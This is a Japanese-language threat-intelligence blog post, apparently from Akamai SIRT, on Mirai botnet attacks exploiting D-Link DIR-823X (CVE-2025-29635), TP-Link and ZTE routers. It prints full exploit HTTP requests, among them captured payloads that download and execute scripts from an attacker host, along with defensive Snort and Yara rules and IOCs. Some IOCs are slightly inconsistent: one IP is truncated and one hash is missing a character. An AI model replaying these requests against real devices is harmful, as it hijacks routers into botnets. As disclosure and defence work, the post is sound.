重要ポイント
Akamaiのセキュリティインテリジェンス対応チーム(SIRT)は、D-Link DIR-823Xシリーズルーターのコマンドインジェクションの脆弱性(CVE-2025-29635)に対する攻撃が実際に行われていることを確認しました。D-Link DIR-823Xシリーズルーターは2025年に生産終了になりましたが、脅威アクターはこの脆弱性を悪用してMiraiボットネットの亜種を展開しています。
SIRTは2026年3月に初めて、ハニーポットのグローバルネットワークでこの活動を確認しました。この脆弱性の実際の攻撃が報告されたのは、2025年3月の最初の公開以来これが初めてです。
このブログ記事では、脅威の痕跡(IOC)のリストも確認できます。この脅威に対する防御にお役立てください。
D-Linkの脆弱性を悪用する攻撃の実態の発見
Akamai SIRTは、2026年3月初旬、D-Linkのコマンドインジェクション脆弱性(CVE-2025-29635)に対する攻撃がAkamaiのハニーポットのグローバルネットワークで実際に行われていることを発見しました。これはD-Link DIR-823Xシリーズルーターのファームウェアバージョン240126および24082の脆弱性であり、/goform/set_prohibitingエンドポイントにPOSTリクエストを送信することで、権限さえあればリモートデバイス上で任意のコマンドを実行できてしまいます。
CVE-2025-29635のファームウェア脆弱性を分析
2025年3月下旬に公開されたCVE-2025-29635は、D-Link DIR-823Xシリーズルーターのファームウェアバージョン240126および24082のコマンドインジェクション脆弱性です。ベンダーの発表によると、該当のルーターは2025年9月でサポートが終了した製品です。
この脆弱性はセキュリティ研究者のWang Jinshuai氏とZhao Jiangting氏により発見されて報告されました。2人は図1のバイナリファイルのsub_42232C関数のリバースエンジニアリングも行いました。そこで、macaddr関数の値がsnprintf関数によってコマンド変数にコピーされ、その後システム関数が実行されることを発見しました。macaddrの値を悪意を持って改ざんすれば、/goform/set_prohibitingにPOSTリクエストを送信してコマンドを実行させることができます。
実証コード(PoC)がGitHubに公開されて共有されて、CVEの公開に関連付けられましたが、その後削除されました(図2)。この記事の執筆時点で、この脆弱性はCISAの「悪用が確認された脆弱性カタログ」に掲載されていませんでした。
POST /goform/set_prohibiting HTTP/1.1
Host: 192.168.122.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Origin: http://192.168.122.130
Connection: close
Referer: http://192.168.122.130/login.html
Cookie: sessionid=00000000000000000000000000000000; token=00000000000000000000000000000000
macaddr=||touch%20/set_prohibiting||&token=00000000000000000000000000000000
ハニーポットデータで暴かれたボットネット攻撃の実態
2026年3月初旬、AkamaiのSIRTは、Akamaiのハニーポットのグルバールネットワークで実際にCVE-2025-29635に対する攻撃が行われていることを発見しました(図3)。
POST /goform/set_prohibiting HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
parameter=;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://88.214.20[.]14/dlink.sh -O dlink.sh; curl -o dlink.sh http://88.214.20[.]14/dlink.sh; wget http://88.214.20[.]14/dlink.sh; chmod 777 dlink.sh; sh dlink.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh;
図3のリクエストの多くは、図2の実証コード(PoC)と一致していますが、いくつか大きな違いがあります。まず、図3には、RefererやAccept-Languageなどの一部のヘッダーがありません。トークンやセッションIDなどの認証情報をヘッダーやボディのいずれの形式でも提供しません。
しかし、このファームウェアは、これらのフィールドや値の存在や有効性を適切に検証できていない可能性があります。この脆弱性により、ルーターはコマンドバッファに格納される値をリクエストボディから抽出する際に、その値がどのフォームフィールドから送信されたのかの確認を行いません。パーサーがボディ内の任意のキーや値のペアをmacaddrフィールドの候補として処理する場合や、ボディ全体をそのままバッファにコピーする場合に、パラメーターなどの任意の名前で悪意のあるペイロードを送り込むことが可能になります。
したがって、実証コード(PoC)と一部大きな違いはありますが、同じ脆弱なコードパスを標的とし、同じsystem()コールを実行して、指定されたシェルコマンドチェーンを実行します。
Mirai亜種の技術的分析
攻撃試行時に読み込まれたシェルスクリプトは非常にシンプルで分かりやすく、「tuxnokill」と呼ばれるMiraiマルウェアペイロードをダウンロードして実行します。このマルウェアは、同じダウンローダーIPアドレス88.214.20[.]14からのさまざまなアーキテクチャに対応しています。このマルウェア自体は、典型的なMiraiマルウェアの亜種であり、XORエンコーディングと復号鍵0x30を使用すると考えられます。Miraiペイロードで一般的な「セグメンテーション違反(コアダンプ発生)」というハードコードされたコンソール実行文字列と、ハードコードされたダウンローダーのIPアドレスも含まれています。サンドボックス接続の情報では、コマンド&コントロールIPアドレスは64.89.161[.]130でポート番号は44300です。
一部の他の攻撃ではバイブ・コード・ペイロードが標的となり始めているなか、この攻撃アクターはマルウェア内にハードコードされた文字列「AI.NEEDS.TO.DIE」を使用していることから、従来の方法でペイロードをコーディングしたと推測されます。マルウェアから検出された攻撃コマンドは非常に一般的なものです(図4)。
TCP STOMP
TCP ACK
TCP SYN
STD
GRE ETH
UDP DNS
UDP VSE
UDP PLAIN
UDP GENERIC
RAW
XMAS
HTTP NULL
TP-LinkとZTEの脆弱性に対する攻撃を確認
CVE-2025-29635を標的とした攻撃に加え、この脅威アクターはハニーポットネットワーク上で別の2つの脆弱性を攻撃しようとしたことが確認されました。CVE-2023-1389(図5)はTP-Link Archer AX21デバイスの脆弱性であり、もう1つはZTE ZXV10 H108Lルーターのリモートコード実行(RCE)に対する攻撃です(図6)。
POST /cgi-bin/luci/;stok=/local?form=country HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
operation=write&country=$(id>curl -o tplinkwan.sh http://88.214.20[.]14/tplinkwan.sh; wget http://88.214.20[.]14/tplinkwan.sh; chmod 777 tplinkwan.sh; sh tplinkwan.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh)
POST /manager_dev_ping_t HTTP/1.1
Host: honeypot_ip:8083
User-Agent: Go-http-client/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
&Host=;$(cd /tmp;wget http://88.214.20[.]14/bins/tux.mips; chmod 777 tux.mips; ./tux.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit
結論
Miraiマルウェアキャンペーンは依然として業界に大きな影響を与えており、スキルレベルを問わず多くの脅威アクターが大元のソースコードの再利用を続けています。参入障壁が低く経済的な利益が得られる可能性があるため、個人がボットネットの世界に引き込まれてサイバー脅威の実行者になる誘因になる場合があります。
この攻撃者はAIに強く対抗している可能性がありますが、大半の攻撃者はAIを、単に悪用するための手段とみなしているでしょう。マルウェアの作成支援にせよ新たな脆弱性の発見にせよ、脅威アクターにもサイバー防衛担当者にもAIは十分な可能性を秘めています。
ボットネット分野の脅威アクターの多くは頻繁に古い脆弱性を標的にします。特に脆弱性に対する公開実証コード(PoC)が存在する場合は、それを攻撃に組み込むことは簡単です。
残念ながら、世界の多くの企業では、D-Link 823Xシリーズルーターのように、デバイスの設定ミス、タイムリーなパッチの未適用、廃止された脆弱なデバイスの使用の継続の事例が後を絶ちません。企業が自社のインフラに関連する脆弱性情報を定期的に監視し、適切なパッチの適用、アップグレード、セキュリティ対策を行って自社の運用セキュリティを確保するようにすることを強く推奨します。
最新情報をご確認ください
IOC
SnortルールおよびYaraルールと併せて、IOCのリストを確認できます。防御担当者のサポートにお役立てください。
悪性IPのSnortルール
alert ip any any -> [88.214.20.14, 64.89.161.130] any (
msg:"Possible Botnet Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
マルウェアサンプルのYaraルール
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2026-03-27"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"
strings:
$string1 = "segmentation fault (core dumped)"
$string2 = “AI.NEEDS.TO.DIE”
$ip1 = "88.214.20.14"
$ip2 = "64.89.161.13"
$hash1 = "32ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100"
$hash2 = "be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b"
$hash3 = "d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7"
$hash4 = "7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8"
$hash5 = "72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8"
condition:
(
$string1 or
$string2 or
$ip1 or
$ip2 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5
)
}
悪性IPv4アドレス
88.214.20.14
64.89.161.130
SHA256ハッシュ
2ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100
be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b
d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7
7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8
72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8
タグ